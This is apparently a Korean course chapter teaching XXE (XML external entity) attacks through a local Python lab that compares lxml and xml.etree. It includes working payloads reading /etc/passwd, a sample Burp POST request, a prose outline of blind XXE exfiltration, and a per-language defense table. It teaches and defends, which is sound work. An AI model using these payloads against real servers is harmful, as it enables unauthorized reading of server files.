Step 195. XXE — XML 파서에 숨은 파일 읽기 명령

Step 195. XXE — XML 파서에 숨은 파일 읽기 명령

Level 3 — CTF 실전과 공격 스킬 심화 | 난이도 ★★★★☆ | 예상 소요 시간 3시간

전제: Step 194(SSRF)를 마쳤다. 파이썬으로 파일을 읽고 쓸 수 있고, HTTP 요청 본문의 개념을 안다.

  • 준비물: 파이썬 3 + lxml(python -m pip install lxml). 비교용으로 표준 라이브러리 xml.etree는 기본 내장.
  • ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.
  • 합법 연습장 안내: 오늘의 XML 파서 실험은 전부 여러분 컴퓨터 안의 파일을 대상으로 합니다. PortSwigger Web Security Academy의 XXE 랩은 풀라고 만들어진 합법 플랫폼입니다. 이 두 곳 외에는 오늘의 기술을 쓰지 않습니다.

XML에는 엔티티(entity) 라는 기능이 있습니다. 문서 안에서 "이 이름은 이 내용으로 바꿔 끼워라"라는 치환 규칙입니다. 그런데 이 규칙의 내용으로 "외부 파일"을 지정할 수 있습니다 — <!ENTITY xxe SYSTEM "file:///etc/passwd"> 한 줄이면, 파서가 그 파일을 열어 내용을 문서에 끼워 넣습니다. 파서가 이 기능을 켜 둔 채 외부 입력을 파싱하면, 공격자가 보낸 XML 한 장이 서버의 파일을 읽는 명령이 됩니다. 이것이 XXE(XML External Entity, XML 외부 엔티티) 공격입니다.

오늘은 파이썬의 XML 파서 세 종류를 같은 공격 XML에 통과시켜 봅니다. 취약한 설정에서는 파일 내용이 읽히고, 방어된 설정에서는 아무 일도 없고, 표준 라이브러리는 아예 파싱을 거부합니다 — 같은 XML인데 결과가 갈리는 장면을 직접 봅니다. XML이 겉으로 안 보이는 곳(docx/xlsx 파일, 레거시 API)에서 왜 아직 살아 있는지도 정리합니다.


1. 학습 목표

이 챕터를 끝내면 다음을 할 수 있습니다:

  • XML의 DOCTYPE과 엔티티 선언 문법을 읽고, 외부 엔티티가 왜 위험한지 설명한다
  • 같은 XML을 파서 설정별로 통과시켜 XXE의 성공·실패 조건을 실측한다
  • Blind XXE(응답에 안 나올 때의 데이터 반출)와 XInclude 변형의 개념을 설명한다
  • docx/xlsx 업로드 같은 "숨은 XML" 지점을 공격 표면으로 인식한다
  • 언어별 파서의 외부 엔티티 비활성화 설정을 적어 방어 체크리스트를 만든다

2. 배경 지식 — 오늘의 도구와 개념

오늘의 도구 한눈에 보기

구분 내용
언어·환경 파이썬 3 + lxml / 표준 xml.etree(로컬 랩), PortSwigger Academy(워게임)
오늘의 명령 <!ENTITY xxe SYSTEM "...">, etree.XMLParser(resolve_entities=...), ET.fromstring()
필요한 개념 XML 문법, DOCTYPE, 외부 엔티티, 파서 설정, Blind XXE, XInclude
오늘의 산출물 XXE 재현 스크립트 + 파서별 비교 결과 + 방어 설정 표

2-1. XML과 엔티티 — 치환 규칙

XML은 태그로 데이터를 감싸는 문서 형식입니다. <productId>5</productId>처럼요. 그런데 XML 상단에는 DOCTYPE이라는 선언부가 올 수 있고, 여기에 엔티티를 정의할 수 있습니다.

<!DOCTYPE stockCheck [ <!ENTITY company "ACME Store"> ]>
<stockCheck><seller>&company;</seller></stockCheck>

파서는 본문의 &company;를 "ACME Store"로 바꿔 끼웁니다. 편의 기능입니다 — 반복되는 긴 문자열을 이름으로 부르는 것. 문제는 다음 단계입니다.

2-2. 외부 엔티티 — 치환 내용이 파일일 때

엔티티의 내용으로 문자열 대신 외부 자원의 주소를 쓸 수 있습니다. SYSTEM 키워드가 그 표시입니다.

<!ENTITY xxe SYSTEM "file:///etc/passwd">

이제 본문 어딘가에 &xxe;를 넣으면, 파서는 저 파일을 열어 내용을 읽고 그 자리에 끼워 넣습니다. 파서가 서버 위에서 돌고 있다면, 읽히는 것은 서버의 파일입니다. 공격자가 XML을 업로드하거나 API 요청 본문으로 보낼 수 있고, 파서가 외부 엔티티를 허용하고 있고, 처리 결과가 응답에 포함된다면 — 이 세 조건이 만나는 자리가 XXE입니다.

2-3. 파서 설정이 전부다

현대 XML 파서들은 이 위험을 알고 있습니다. 그래서 같은 XML을 넣어도 결과가 파서와 설정에 따라 갈립니다.

  • 파이썬 lxml: resolve_entities=True로 명시해야 외부 엔티티를 해석합니다 (옛 코드나 관습적 설정에서 켜져 있는 경우가 있습니다)
  • 파이썬 표준 xml.etree: 외부 엔티티를 지원하지 않아 파싱 단계에서 오류를 냅니다
  • Java의 옛 기본 설정, PHP의 옛 libxml 버전: 기본으로 허용이던 시절이 있어 레거시 시스템에서 지금도 발견됩니다

즉 XXE는 "XML의 버그"가 아니라 "파서 설정의 사고"입니다. 오늘 3절에서 이 차이를 실측합니다.

2-4. Blind XXE와 XInclude

응답에 파싱 결과가 안 나오면 어떻게 할까요? Blind XXE는 데이터를 응답 대신 외부로 보내게 합니다. 공격자 서버에 외부 DTD(엔티티 정의 파일)를 올려 두고, 피해 서버가 그 DTD를 불러오게 한 뒤, DTD 안의 규칙이 파일 내용을 URL 파라미터에 붙여 공격자 서버로 요청하게 만드는 구조입니다. 로그에 내 파일 내용이 찍히는 것입니다.

XInclude는 변형입니다. 요청 본문 전체가 XML이 아니어서 DOCTYPE을 못 넣는 경우(예: 폼 필드 하나만 XML에 삽입되는 경우), xinclude 네임스페이스의 <xi:include href="file:///etc/passwd"/>로 파일 포함을 시도합니다. 파서가 XInclude를 처리하도록 설정돼 있으면 먹힙니다.


3. 따라 하기

3-1. 희생 파일과 공격 XML 준비

서버에 있다고 가정할 비밀 파일을 만듭니다. 작업 폴더에서:

echo FLAG{xxe_reads_server_files} > step195_secret.txt

공격 XML입니다. 재고 확인 API에 보내는 본문이라고 상상하세요.

<?xml version="1.0"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "file:///step195_secret.txt"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

읽는 법: DOCTYPE 안에서 xxe라는 이름에 "step195_secret.txt 파일의 내용"을 연결했고, 본문의 productId 자리에 &xxe;로 그 내용을 끼우라고 시켰습니다. 정상이라면 숫자가 와야 할 자리에 파일 내용이 오는 것입니다.

3-2. 파서 세 종류로 같은 XML 처리하기

step195_xxe.py를 작성하고 실행합니다.

from lxml import etree
import xml.etree.ElementTree as ET

XML = """<?xml version="1.0"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "file:///step195_secret.txt"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
"""

print("=== 1) 취약한 파서: lxml resolve_entities=True ===")
parser_vuln = etree.XMLParser(resolve_entities=True)
root = etree.fromstring(XML.encode(), parser_vuln)
print("productId:", root.find("productId").text)

print()
print("=== 2) 방어된 파서: lxml resolve_entities=False (기본값) ===")
parser_safe = etree.XMLParser(resolve_entities=False)
root2 = etree.fromstring(XML.encode(), parser_safe)
print("productId:", repr(root2.find("productId").text))

print()
print("=== 3) 표준 라이브러리 xml.etree (기본) ===")
try:
    root3 = ET.fromstring(XML)
    print("productId:", repr(root3.find("productId").text))
except Exception as e:
    print("예외:", type(e).__name__, "-", e)

출력 (2026-09-09 실측, lxml 6.x / 파이썬 3.12):

=== 1) 취약한 파서: lxml resolve_entities=True ===
productId: FLAG{xxe_reads_server_files}

=== 2) 방어된 파서: lxml resolve_entities=False (기본값) ===
productId: None

=== 3) 표준 라이브러리 xml.etree (기본) ===
예외: ParseError - undefined entity &xxe;: line 3, column 23

읽는 법: XML은 하나인데 세 결과가 갈렸습니다.

  1. resolve_entities=True인 lxml은 파일을 열어 내용을 productId에 넣었습니다 — 공격 성공입니다. 서버라면 이 값이 응답에 실려 나갑니다
  2. 기본값(False)인 lxml은 엔티티를 해석하지 않아 빈 값이 됐습니다 — 방어 성공
  3. 표준 xml.etree는 "정의되지 않은 엔티티"라며 파싱 자체를 거부했습니다 — 설계상 외부 엔티티를 안 읽습니다

참고로 실측에서는 file:///step195_secret.txt처럼 파일명만 쓴 상대 경로가 실행 폴더 기준으로 해석됐습니다. 실전에서는 /etc/passwdC:\Windows\win.ini 같은 절대 경로를 씁니다.

3-3. 왜 "설정 한 줄"인지 코드로 확인

1번과 2번의 차이는 생성자 인자 하나뿐입니다.

etree.XMLParser(resolve_entities=True)    # 외부 엔티티 해석 → 취약
etree.XMLParser(resolve_entities=False)   # 해석 안 함 → 안전

: XXE 방어의 본질이 여기 있습니다. 입력을 검사하는 것이 아니라 파서의 기능을 끄는 것입니다. "DOCTYPE가 있으면 거부" 같은 문자열 필터는 우회 변형(대소문자, 공백, 인코딩)이 존재하지만, 파서가 기능 자체를 안 쓰면 우회할 대상이 없습니다.

3-4. 요청 본문에서의 모습 (출력 예시)

실제 웹 랩에서는 이 XML이 HTTP 요청 본문으로 갑니다. PortSwigger XXE 랩의 재고 확인 요청을 Burp로 잡은 모습, 출력 예시입니다.

POST /product/stock HTTP/1.1
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

읽는 법: 주의할 점이 두 개입니다. 첫째, Content-Type이 XML이어야 서버가 XML 파서로 보냅니다 — 랩에서 폼 전송으로 되어 있으면 Burp로 application/xml로 바꿉니다. 둘째, &xxe;를 넣는 위치는 "응답에 다시 보여 주는 필드"여야 합니다. 재고 확인이라면 productId가 응답에 인용되니 그 자리입니다. 결과가 응답에 안 나오면 2-4의 Blind 기법으로 넘어갑니다.

3-5. 숨은 XML — docx/xlsx 업로드

XXE가 아직 현역인 이유는 XML이 겉으로 안 보이는 곳에 많기 때문입니다. docx와 xlsx는 사실 zip으로 압축된 XML 묶음입니다. 이 파일의 업로드를 받아 내용을 파싱하는 서비스(이력서 시스템, 성적 처리, 회계 프로그램 연동)가 취약한 파서를 쓰면, 압축 안의 XML에 심은 외부 엔티티가 서버에서 펼쳐집니다.

# docx의 실체 확인 — 확장자만 바꾸면 zip이다 (출력 예시)
unzip -l resume.docx
word/document.xml
word/styles.xml
[Content_Types].xml
...

읽는 법: 공격 표면은 "XML을 직접 받는 API"만이 아닙니다. XML로 변환되는 업로드 전부가 후보입니다.


4. 미션과 연습문제

미션 — 파서별 XXE 성공/실패 조건 정리와 방어 설정

  1. 3-1~3-2를 재현하고, lxml의 resolve_entities True/False에서 결과가 갈리는 화면을 캡처합니다
  2. XML의 file:/// 대상을 바꿔 여러분이 만든 다른 텍스트 파일을 읽어 봅니다 (존재하지 않는 파일을 지정했을 때의 에러도 관찰합니다)
  3. "DOCTYPE 문자열을 막는 필터"를 파이썬으로 구현해 보고, 대소문자 변형(<!doctype)이나 공백 변형으로 우회되는지 실험합니다
  4. 파이썬(lxml), Java(JAXP), PHP(libxml), .NET(XmlReader)의 외부 엔티티 비활성화 설정을 조사해 표로 정리합니다
  5. PortSwigger XXE 기초 랩 1개를 해결하고 write-up을 씁니다

연습문제

문제 1. XXE 공격이 성립하려면 어떤 세 조건이 만나야 하나요?

문제 2. 3-2 실측에서 표준 xml.etree는 왜 공격이 아예 안 통했나요? lxml과의 차이를 설명해 보세요.

문제 3. "DOCTYPE가 포함된 입력을 거부"하는 문자열 필터 방어가 파서 설정을 끄는 방어보다 약한 이유를 설명해 보세요.

문제 4. 응답에 파싱 결과가 표시되지 않는 서비스에서 XXE로 데이터를 빼내는 Blind XXE의 기본 구조를 설명해 보세요.


5. 모범 답안과 완료 기준

미션 모범 답안

1~2번은 3절 실측 그대로입니다. 2번에서 존재하지 않는 파일을 지정하면 lxml은 파일을 못 찾았다는 계열의 오류를 냅니다 — 이 에러 메시지 자체가 "파서가 외부 자원에 접근을 시도했다"는 증거이므로 기록해 두세요.

3번의 문자열 필터 실험에서는 "<!DOCTYPE" 검사가 "<!doctype"(대소문자)에 무통과함을 보이면 됩니다. XML 선언은 대소문자를 구별하지만 필터 구현자가 한 가지만 검사하는 실수가 흔합니다. 결론: 문자열 필터는 보조 수단일 뿐이고, 본 방어는 파서 설정입니다.

4번 언어별 방어 설정 요약 (공식 문서 기준, 출력 예시 수준의 정리):

언어·파서 안전한 설정
파이썬 lxml XMLParser(resolve_entities=False) (기본값) — 명시 확인
파이썬 표준 etree 외부 엔티티 미지원 — 기본이 안전
Java JAXP factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
PHP libxml 2.9+ 기본 비활성, 옛 버전은 libxml_disable_entity_loader(true)
.NET XmlReaderSettings { DtdProcessing = Prohibit }

5번 write-up에는 "요청 원문 / Content-Type 변경 여부 / 삽입한 엔티티 / 응답에 나온 파일 내용"을 적습니다.

연습문제 해답

문제 1 해답. (1) 공격자가 XML 입력을 서버에 보낼 수 있고, (2) 서버의 XML 파서가 외부 엔티티를 해석하도록 설정돼 있고, (3) 파싱 결과(엔티티가 치환된 값)가 응답이나 다른 관측 가능한 통로로 나와야 합니다. 하나라도 빠지면 파일 읽기가 성립하지 않거나 Blind 기법이 필요합니다.

문제 2 해답. 표준 xml.etree는 외부 엔티티 해석 기능 자체가 없어서, &xxe;를 만나면 파일을 읽는 대신 ParseError: undefined entity를 내며 파싱을 중단합니다 (3-2 실측). lxml은 libxml2 기반이라 외부 엔티티 해석 기능이 있고, resolve_entities 설정으로 켜고 끌 수 있습니다. 기능이 없는 파서는 끌 필요도 없이 안전합니다.

문제 3 해답. 문자열 필터는 "공격자가 어떤 표기를 쓸지"를 전부 예측해야 하는 블랙리스트 방식이라 대소문자·공백·인코딩 변형으로 우회됩니다 (미션 3 실험). 반면 파서에서 외부 엔티티 기능을 끄면 입력이 어떤 모양이든 기능 자체가 동작하지 않으므로 우회할 대상이 없습니다. 입력을 가려내는 방어와 기능을 끄는 방어의 차이입니다.

문제 4 해답. 공격자가 통제하는 서버에 외부 DTD 파일을 올려 두고, 피해 서버에 보내는 XML에서 그 DTD를 참조하게 합니다. DTD 안의 엔티티 규칙이 (1) 로컬 파일을 읽어 (2) 그 내용을 URL 파라미터로 붙여 공격자 서버에 HTTP 요청을 보내게 만듭니다. 공격자는 자기 서버의 접근 로그에서 파일 내용을 회수합니다. 응답이 아니라 "나가는 요청"이 반출 통로입니다.

완료 기준 체크리스트

  • [ ] DOCTYPE과 외부 엔티티 선언 문법을 읽고 쓸 수 있다
  • [ ] lxml의 resolve_entities True/False에서 결과 차이를 재현했다
  • [ ] 표준 xml.etreeundefined entity로 거부함을 확인했다
  • [ ] "파서 설정을 끄는 것"이 본 방어임을 코드로 설명할 수 있다
  • [ ] Blind XXE와 XInclude 변형의 개념을 말할 수 있다
  • [ ] docx/xlsx가 XML 묶음임을 확인하고 공격 표면으로 연결할 수 있다
  • [ ] 미션: 문자열 필터 우회 실험 + PortSwigger XXE 랩 1개 해결

6. 흔한 실수와 해결

벽 1. ModuleNotFoundError: No module named 'lxml'

원인: lxml이 설치되지 않았습니다.
해결: python -m pip install lxml. 설치가 어려우면 3-2의 3번(표준 xml.etree) 부분만 먼저 실행해 "기본 파서는 거부한다"부터 확인하세요.

벽 2. 파일을 읽었는데 None이 나온다

증상 (2026-09-09 실측):

productId: None

원인: resolve_entities=False 상태입니다. 엔티티가 해석되지 않아 productId의 텍스트가 비었습니다 — 오류가 아니라 방어가 동작한 것입니다.
해결: 공격 재현이 목적이면 resolve_entities=True 파서로 바꾸세요. 두 결과를 나란히 놓는 것이 이 챕터의 핵심 실험입니다.

벽 3. ParseError: undefined entity &xxe;: line 3, column 23

원인: 표준 xml.etree를 쓰고 있습니다. 이 파서는 외부 엔티티를 지원하지 않아 DOCTYPE에서 정의한 엔티티를 본문에서 쓰면 정의를 모르는 것처럼 오류를 냅니다.
해결: 정상 동작입니다. 외부 엔티티 해석이 되는 파서(lxml)로 옮기거나, 이 거부 메시지를 "이 파서는 기본이 안전하다"는 증거로 기록하세요.

벽 4. 파일 경로를 썼는데 못 찾는다

증상 계열 메시지:

IOError: failed to load ... No such file or directory

원인: file:/// 경로 해석이 파서의 실행 기준 디렉터리에 의존합니다. 실측에서는 실행 폴더 기준 상대 경로가 동작했습니다.
해결: 먼저 실행 폴더에 희생 파일을 두고 파일명만 써 보세요. 절대 경로는 file:///C:/Users/.../step195_secret.txt처럼 슬래시 형식으로 씁니다.

벽 5. 랩에서 XML을 보냈는데 파싱 자체가 안 된다

원인: Content-Typeapplication/x-www-form-urlencoded로 되어 있으면 서버가 본문을 XML로 파싱하지 않습니다.
해결: Burp Repeater에서 헤더를 Content-Type: application/xml로 바꾸고 다시 보내세요. 엔티티 참조 &xxe;를 넣은 필드가 응답에 인용되는 필드인지도 함께 확인합니다.


7. 정리

오늘의 개념

개념 한 줄 설명
엔티티(entity) XML 안의 치환 규칙 — &이름;이 정의된 내용으로 바뀐다
외부 엔티티 치환 내용을 외부 파일/URL로 지정하는 엔티티 (SYSTEM)
XXE 외부 엔티티를 해석하는 파서에 악성 XML을 먹여 파일을 읽는 공격
DOCTYPE XML 상단의 선언부 — 엔티티가 정의되는 자리
Blind XXE 응답 대신 외부 DTD와 나가는 요청으로 데이터를 반출하는 변형
XInclude DOCTYPE을 못 넣을 때 파일 포함을 시도하는 변형
숨은 XML docx/xlsx 등 ZIP 안 XML — 겉으로 안 보이는 공격 표면
파서 설정 방어 입력 필터가 아니라 기능 자체를 끄는 것 (resolve_entities=False)

오늘의 명령어·코드

명령·코드 하는 일
<!ENTITY xxe SYSTEM "file:///..."> 외부 엔티티 선언 (공격 페이로드)
etree.XMLParser(resolve_entities=True) 외부 엔티티 해석 켜기 (취약 재현)
etree.XMLParser(resolve_entities=False) 해석 끄기 (방어)
ET.fromstring(xml) 표준 파서로 파싱 — 외부 엔티티 거부 확인
unzip -l 파일.docx Office 문서 안의 XML 구조 엿보기
Content-Type: application/xml 랩에서 본문을 XML로 인식시키는 헤더

명령어보다 중요한 감각

XML을 받는 기능을 보면 DOCTYPE부터 봅니다. 선언부가 허용되는 파서라면 외부 엔티티는 반쯤 열린 문입니다. 그리고 방어자의 감각 하나: 입력을 검사하지 말고 기능을 끄는 것. "위험해 보이는 문자열을 거부"하는 코드는 공격자의 상상력과 싸우는 싸움이고, 파서 설정 한 줄은 그 싸움 자체를 없앱니다. 파일 업로드 기능을 볼 때는 확장자 너머를 보세요 — docx, xlsx, svg, rss. 전부 안에 XML이 있는 형식입니다.


전부 체크되면 Step 195 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.